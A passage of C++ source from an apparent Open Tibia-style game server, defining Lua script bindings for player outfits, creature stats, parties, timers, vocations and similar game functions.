lua_pushboolean(L, player->addOutfit(outfit.outfitId, addon)); return 1; } lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoPlayerRemoveOutfit(lua_State *L) { //Consider using doPlayerRemoveOutfitId instead //doPlayerRemoveOutfit(cid, looktype[, addon = 0]) uint32_t addon = 0xFF; if(lua_gettop(L) > 2) addon = popNumber(L); uint32_t lookType = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID((uint32_t)popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Outfit outfit; if(Outfits::getInstance()->getOutfit(lookType, outfit)) { lua_pushboolean(L, player->removeOutfit(outfit.outfitId, addon)); return 1; } lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoPlayerAddOutfitId(lua_State *L) { //doPlayerAddOutfitId(cid, outfitId, addon) uint32_t addon = popNumber(L), outfitId = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID((uint32_t)popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_pushboolean(L, player->addOutfit(outfitId, addon)); return 1; } int32_t LuaScriptInterface::luaDoPlayerRemoveOutfitId(lua_State *L) { //doPlayerRemoveOutfitId(cid, outfitId[, addon = 0]) uint32_t addon = 0xFF; if(lua_gettop(L) > 2) addon = popNumber(L); uint32_t outfitId = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID((uint32_t)popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_pushboolean(L, player->removeOutfit(outfitId, addon)); return 1; } int32_t LuaScriptInterface::luaCanPlayerWearOutfit(lua_State* L) { //canPlayerWearOutfit(cid, looktype[, addon = 0]) uint32_t addon = 0; if(lua_gettop(L) > 2) addon = popNumber(L); uint32_t lookType = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Outfit outfit; if(Outfits::getInstance()->getOutfit(lookType, outfit)) { lua_pushboolean(L, player->canWearOutfit(outfit.outfitId, addon)); return 1; } lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaCanPlayerWearOutfitId(lua_State* L) { //canPlayerWearOutfitId(cid, outfitId[, addon = 0]) uint32_t addon = 0; if(lua_gettop(L) > 2) addon = popNumber(L); uint32_t outfitId = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_pushboolean(L, player->canWearOutfit(outfitId, addon)); return 1; } int32_t LuaScriptInterface::luaDoCreatureChangeOutfit(lua_State* L) { //doCreatureChangeOutfit(cid, outfit) Outfit_t outfit = popOutfit(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(Player* player = creature->getPlayer()) player->changeOutfit(outfit, false); else creature->defaultOutfit = outfit; if(!creature->hasCondition(CONDITION_OUTFIT, 1)) g_game.internalCreatureChangeOutfit(creature, outfit); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoSetCreatureLight(lua_State* L) { //doSetCreatureLight(cid, lightLevel, lightColor, time) uint32_t time = popNumber(L); uint8_t color = (uint8_t)popNumber(L), level = (uint8_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { Condition* condition = Condition::createCondition(CONDITIONID_COMBAT, CONDITION_LIGHT, time, level | (color << 8)); creature->addCondition(condition); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerPopupFYI(lua_State* L) { //doPlayerPopupFYI(cid, message) std::string message = popString(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->sendFYIBox(message); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSendTutorial(lua_State* L) { //doPlayerSendTutorial(cid, id) uint8_t id = (uint8_t)popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } player->sendTutorial(id); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerSendMailByName(lua_State* L) { //doPlayerSendMailByName(name, item[, town[, actor]]) ScriptEnviroment* env = getEnv(); int32_t params = lua_gettop(L); Creature* actor = NULL; if(params > 3) actor = env->getCreatureByUID(popNumber(L)); uint32_t town = 0; if(params > 2) town = popNumber(L); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(item->getParent() != VirtualCylinder::virtualCylinder) { lua_pushboolean(L, false); return 1; } lua_pushboolean(L, IOLoginData::getInstance()->playerMail(actor, popString(L), town, item)); return 1; } int32_t LuaScriptInterface::luaDoPlayerAddMapMark(lua_State* L) { //doPlayerAddMapMark(cid, pos, type[, description]) std::string description; if(lua_gettop(L) > 3) description = popString(L); MapMarks_t type = (MapMarks_t)popNumber(L); PositionEx pos; popPosition(L, pos); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } player->sendAddMarker(pos, type, description); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerAddPremiumDays(lua_State* L) { //doPlayerAddPremiumDays(cid, days) int32_t days = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(player->premiumDays < 65535) { Account account = IOLoginData::getInstance()->loadAccount(player->getAccount()); if(days < 0) { account.premiumDays = std::max((uint32_t)0, uint32_t(account.premiumDays + (int32_t)days)); player->premiumDays = std::max((uint32_t)0, uint32_t(player->premiumDays + (int32_t)days)); } else { account.premiumDays = std::min((uint32_t)65534, uint32_t(account.premiumDays + (uint32_t)days)); player->premiumDays = std::min((uint32_t)65534, uint32_t(player->premiumDays + (uint32_t)days)); } IOLoginData::getInstance()->saveAccount(account); } lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureLastPosition(lua_State* L) { //getCreatureLastPosition(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) pushPosition(L, creature->getLastPosition(), 0); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureName(lua_State* L) { //getCreatureName(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushstring(L, creature->getName().c_str()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureNoMove(lua_State* L) { //getCreatureNoMove(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, creature->getNoMove()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureSkullType(lua_State* L) { //getCreatureSkullType(cid[, target]) uint32_t tid = 0; if(lua_gettop(L) > 1) tid = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(!tid) lua_pushnumber(L, creature->getSkull()); else if(Creature* target = env->getCreatureByUID(tid)) lua_pushnumber(L, creature->getSkullClient(target)); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureSetLookDir(lua_State* L) { //doCreatureSetLookDirection(cid, dir) Direction dir = (Direction)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(dir < NORTH || dir > WEST) { lua_pushboolean(L, false); return 1; } g_game.internalCreatureTurn(creature, dir); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureSetSkullType(lua_State* L) { //doCreatureSetSkullType(cid, skull) Skulls_t skull = (Skulls_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { creature->setSkull(skull); g_game.updateCreatureSkull(creature); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetSkullEnd(lua_State* L) { //doPlayerSetSkullEnd(cid, time, type) Skulls_t _skull = (Skulls_t)popNumber(L); time_t _time = (time_t)std::max((int64_t)0, popNumber(L)); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setSkullEnd(_time, false, _skull); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureSpeed(lua_State* L) { //getCreatureSpeed(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, creature->getSpeed()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureBaseSpeed(lua_State* L) { //getCreatureBaseSpeed(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, creature->getBaseSpeed()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureTarget(lua_State* L) { //getCreatureTarget(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { Creature* target = creature->getAttackedCreature(); lua_pushnumber(L, target ? env->addThing(target) : 0); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaIsSightClear(lua_State* L) { //isSightClear(fromPos, toPos, floorCheck) PositionEx fromPos, toPos; bool floorCheck = popNumber(L); popPosition(L, toPos); popPosition(L, fromPos); lua_pushboolean(L, g_game.isSightClear(fromPos, toPos, floorCheck)); return 1; } int32_t LuaScriptInterface::luaIsInArray(lua_State* L) { //isInArray(array, value[, caseSensitive = false]) bool caseSensitive = false; if(lua_gettop(L) > 2) caseSensitive = popNumber(L); boost::any value; if(lua_isnumber(L, -1)) value = popFloatNumber(L); else if(lua_isboolean(L, -1)) value = popBoolean(L); else if(lua_isstring(L, -1)) value = popString(L); else { lua_pop(L, 1); lua_pushboolean(L, false); return 1; } const std::type_info& type = value.type(); if(!caseSensitive && type == typeid(std::string)) value = asLowerCaseString(boost::any_cast<std::string>(value)); if(!lua_istable(L, -1)) { boost::any data; if(lua_isnumber(L, -1)) data = popFloatNumber(L); else if(lua_isboolean(L, -1)) data = popBoolean(L); else if(lua_isstring(L, -1)) data = popString(L); else { lua_pop(L, 1); lua_pushboolean(L, false); return 1; } if(type != data.type()) // check is it even same data type before searching deeper lua_pushboolean(L, false); else if(type == typeid(bool)) lua_pushboolean(L, boost::any_cast<bool>(value) == boost::any_cast<bool>(data)); else if(type == typeid(double)) lua_pushboolean(L, boost::any_cast<double>(value) == boost::any_cast<double>(data)); else if(caseSensitive) lua_pushboolean(L, boost::any_cast<std::string>(value) == boost::any_cast<std::string>(data)); else lua_pushboolean(L, boost::any_cast<std::string>(value) == asLowerCaseString(boost::any_cast<std::string>(data))); return 1; } lua_pushnil(L); while(lua_next(L, -2)) { boost::any data; if(lua_isnumber(L, -1)) data = popFloatNumber(L); else if(lua_isboolean(L, -1)) data = popBoolean(L); else if(lua_isstring(L, -1)) data = popString(L); else { lua_pop(L, 1); break; } if(type != data.type()) // check is it same data type before searching deeper continue; if(type == typeid(bool)) { if(boost::any_cast<bool>(value) != boost::any_cast<bool>(data)) continue; lua_pushboolean(L, true); return 1; } else if(type == typeid(double)) { if(boost::any_cast<double>(value) != boost::any_cast<double>(data)) continue; lua_pushboolean(L, true); return 1; } else if(caseSensitive) { if(boost::any_cast<std::string>(value) != boost::any_cast<std::string>(data)) continue; lua_pushboolean(L, true); return 1; } else if(boost::any_cast<std::string>(value) == asLowerCaseString(boost::any_cast<std::string>(data))) { lua_pushboolean(L, true); return 1; } } lua_pop(L, 2); lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaAddEvent(lua_State* L) { //addEvent(callback, delay, ...) ScriptEnviroment* env = getEnv(); LuaScriptInterface* interface = env->getInterface(); if(!interface) { errorEx("No valid script interface!"); lua_pushboolean(L, false); return 1; } int32_t parameters = lua_gettop(L); if(!lua_isfunction(L, -parameters)) //-parameters means the first parameter from left to right { errorEx("Callback parameter should be a function."); lua_pushboolean(L, false); return 1; } std::list<int32_t> params; for(int32_t i = 0; i < parameters - 2; ++i) //-2 because addEvent needs at least two parameters params.push_back(luaL_ref(L, LUA_REGISTRYINDEX)); uint32_t delay = std::max((int64_t)SCHEDULER_MINTICKS, popNumber(L)); LuaTimerEvent eventDesc; eventDesc.parameters = params; eventDesc.function = luaL_ref(L, LUA_REGISTRYINDEX); eventDesc.scriptId = env->getScriptId(); interface->m_timerEvents[++interface->m_lastEventTimerId] = eventDesc; Scheduler::getInstance().addEvent(createSchedulerTask(delay, boost::bind( &LuaScriptInterface::executeTimer, interface, interface->m_lastEventTimerId))); lua_pushnumber(L, interface->m_lastEventTimerId); return 1; } int32_t LuaScriptInterface::luaStopEvent(lua_State* L) { //stopEvent(eventid) uint32_t eventId = popNumber(L); ScriptEnviroment* env = getEnv(); LuaScriptInterface* interface = env->getInterface(); if(!interface) { errorEx("No valid script interface!"); lua_pushboolean(L, false); return 1; } LuaTimerEvents::iterator it = interface->m_timerEvents.find(eventId); if(it != interface->m_timerEvents.end()) { for(std::list<int32_t>::iterator lt = it->second.parameters.begin(); lt != it->second.parameters.end(); ++lt) luaL_unref(interface->m_luaState, LUA_REGISTRYINDEX, *lt); it->second.parameters.clear(); luaL_unref(interface->m_luaState, LUA_REGISTRYINDEX, it->second.function); interface->m_timerEvents.erase(it); lua_pushboolean(L, true); } else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetCreatureCondition(lua_State* L) { //getCreatureCondition(cid, condition[, subId]) uint32_t subId = 0, condition = 0; if(lua_gettop(L) > 2) subId = popNumber(L); condition = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, creature->hasCondition((ConditionType_t)condition, subId)); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerBlessing(lua_State* L) { //getPlayerBlessings(cid, blessing) int16_t blessing = popNumber(L) - 1; ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushboolean(L, player->hasBlessing(blessing)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerAddBlessing(lua_State* L) { //doPlayerAddBlessing(cid, blessing) int16_t blessing = popNumber(L) - 1; ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(!player->hasBlessing(blessing)) { player->addBlessing(1 << blessing); lua_pushboolean(L, true); } else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetPromotionLevel(lua_State* L) { //doPlayerSetPromotionLevel(cid, level) uint32_t level = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setPromotionLevel(level); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetGroupId(lua_State* L) { //doPlayerSetGroupId(cid, groupId) uint32_t groupId = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(Group* group = Groups::getInstance()->getGroup(groupId)) { player->setGroup(group); lua_pushboolean(L, true); } else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureMana(lua_State* L) { //getCreatureMana(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, creature->getMana()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureMaxMana(lua_State* L) { //getCreatureMaxMana(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, creature->getMaxMana()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureHealth(lua_State* L) { //getCreatureHealth(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, creature->getHealth()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureLookDirection(lua_State* L) { //getCreatureLookDirection(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, creature->getDirection()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureMaxHealth(lua_State* L) { //getCreatureMaxHealth(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, creature->getMaxHealth()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetStamina(lua_State* L) { //doPlayerSetStamina(cid, minutes) uint32_t minutes = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setStaminaMinutes(minutes); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerAddStamina(lua_State* L) { //doPlayerAddStamina(cid, minutes) int32_t minutes = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setStaminaMinutes(player->getStaminaMinutes() + minutes); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetBalance(lua_State* L) { //doPlayerSetBalance(cid, balance) uint32_t balance = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->balance = balance; lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetPartner(lua_State* L) { //doPlayerSetPartner(cid, guid) uint32_t guid = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->marriage = guid; lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerParty(lua_State* L) { //getPlayerParty(cid) uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(cid)) { if(Party* party = player->getParty()) lua_pushnumber(L, env->addThing(party->getLeader())); else lua_pushnil(L); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerJoinParty(lua_State* L) { //doPlayerJoinParty(cid, lid) ScriptEnviroment* env = getEnv(); Player* leader = env->getPlayerByUID(popNumber(L)); if(!leader) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } g_game.playerJoinParty(player->getID(), leader->getID()); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaGetPartyMembers(lua_State* L) { //getPartyMembers(cid) ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(Party* party = player->getParty()) { PlayerVector list = party->getMembers(); list.push_back(party->getLeader()); PlayerVector::const_iterator it = list.begin(); lua_newtable(L); for(uint32_t i = 1; it != list.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, (*it)->getID()); pushTable(L); } return 1; } } lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetVocationInfo(lua_State* L) { //getVocationInfo(id) uint32_t id = popNumber(L); Vocation* voc = Vocations::getInstance()->getVocation(id); if(!voc) { lua_pushboolean(L, false); return 1; } lua_newtable(L); setField(L, "id", voc->getId()); setField(L, "name", voc->getName().c_str()); setField(L, "description", voc->getDescription().c_str()); setField(L, "healthGain", voc->getGain(GAIN_HEALTH)); setField(L, "healthGainTicks", voc->getGainTicks(GAIN_HEALTH)); setField(L, "healthGainAmount", voc->getGainAmount(GAIN_HEALTH)); setField(L, "manaGain", voc->getGain(GAIN_MANA)); setField(L, "manaGainTicks", voc->getGainTicks(GAIN_MANA)); setField(L, "manaGainAmount", voc->getGainAmount(GAIN_MANA)); setField(L, "attackSpeed", voc->getAttackSpeed()); setField(L, "baseSpeed", voc->getBaseSpeed()); setField(L, "fromVocation", voc->getFromVocation()); setField(L, "promotedVocation", Vocations::getInstance()->getPromotedVocation(id)); setField(L, "soul", voc->getGain(GAIN_SOUL)); setField(L, "soulAmount", voc->getGainAmount(GAIN_SOUL)); setField(L, "soulTicks", voc->getGainTicks(GAIN_SOUL)); setField(L, "capacity", voc->getGainCap()); setFieldBool(L, "attackable", voc->isAttackable()); setFieldBool(L, "needPremium", voc->isPremiumNeeded()); setFieldFloat(L, "experienceMultiplier", voc->getExperienceMultiplier()); return 1; } int32_t LuaScriptInterface::luaGetGroupInfo(lua_State* L) { //getGroupInfo(id[, premium]) bool premium = false; if(lua_gettop(L) > 1) premium = popNumber(L); Group* group = Groups::getInstance()->getGroup(popNumber(L)); if(!group) { lua_pushboolean(L, false); return 1; } lua_newtable(L); setField(L, "id", group->getId()); setField(L, "name", group->getName().c_str()); setField(L, "access", group->getAccess()); setField(L, "ghostAccess", group->getGhostAccess()); setField(L, "violationReasons", group->getViolationReasons()); setField(L, "statementViolationFlags", group->getStatementViolationFlags()); setField(L, "nameViolationFlags", group->getNameViolationFlags()); setField(L, "flags", group->getFlags()); setField(L, "customFlags", group->getCustomFlags()); setField(L, "depotLimit", group->getDepotLimit(premium)); setField(L, "maxVips", group->getMaxVips(premium)); setField(L, "outfit", group->getOutfit()); return 1; } int32_t LuaScriptInterface::luaGetChannelUsers(lua_State* L) { //getChannelUsers(channelId) ScriptEnviroment* env = getEnv(); uint16_t channelId = popNumber(L); if(ChatChannel* channel = g_chat.getChannelById(channelId)) { UsersMap usersMap = channel->getUsers(); UsersMap::iterator it = usersMap.begin(); lua_newtable(L); for(int32_t i = 1; it != usersMap.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(it->second)); pushTable(L); } } else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetPlayersOnline(lua_State* L) { //getPlayersOnline() ScriptEnviroment* env = getEnv(); AutoList<Player>::iterator it = Player::autoList.begin(); lua_newtable(L); for(int32_t i = 1; it != Player::autoList.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(it->second)); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaSetCreatureMaxHealth(lua_State* L) { //setCreatureMaxHealth(uid, health) uint32_t maxHealth = (uint32_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { creature->changeMaxHealth(maxHealth); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetCreatureMaxMana(lua_State* L) { //setCreatureMaxMana(uid, mana) uint32_t maxMana = (uint32_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { creature->changeMaxMana(maxMana); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetMaxCapacity(lua_State* L) { //doPlayerSetMaxCapacity(uid, cap) double cap = popFloatNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setCapacity(cap); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureMaster(lua_State* L) { //getCreatureMaster(cid) uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(cid); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Creature* master = creature->getMaster(); lua_pushnumber(L, master ? env->addThing(master) : cid); return 1; } int32_t LuaScriptInterface::luaGetCreatureSummons(lua_State* L) { //getCreatureSummons(cid) ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const std::list<Creature*>& summons = creature->getSummons(); CreatureList::const_iterator it = summons.begin(); lua_newtable(L); for(uint32_t i = 1; it != summons.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(*it)); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetIdleTime(lua_State* L) { //doPlayerSetIdleTime(cid, amount) int64_t amount = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setIdleTime(amount); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureSetNoMove(lua_State* L) { //doCreatureSetNoMove(cid, block) bool block = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { creature->setNoMove(block); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerRates(lua_State* L) { //getPlayerRates(cid) ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_newtable(L); for(uint32_t i = SKILL_FIRST; i <= SKILL__LAST; ++i) { lua_pushnumber(L, i); lua_pushnumber(L, player->rates[(skills_t)i]); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetRate(lua_State* L) { //doPlayerSetRate(cid, type, value) float value = popFloatNumber(L); uint32_t type = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(type <= SKILL__LAST) { player->rates[(skills_t)type] = value; lua_pushboolean(L, true); } else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSwitchSaving(lua_State* L) { //doPlayerSwitchSaving(cid) ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->switchSaving(); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSave(lua_State* L) { //doPlayerSave(cid[, shallow = false]) bool shallow = false; if(lua_gettop(L) > 1) shallow = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) 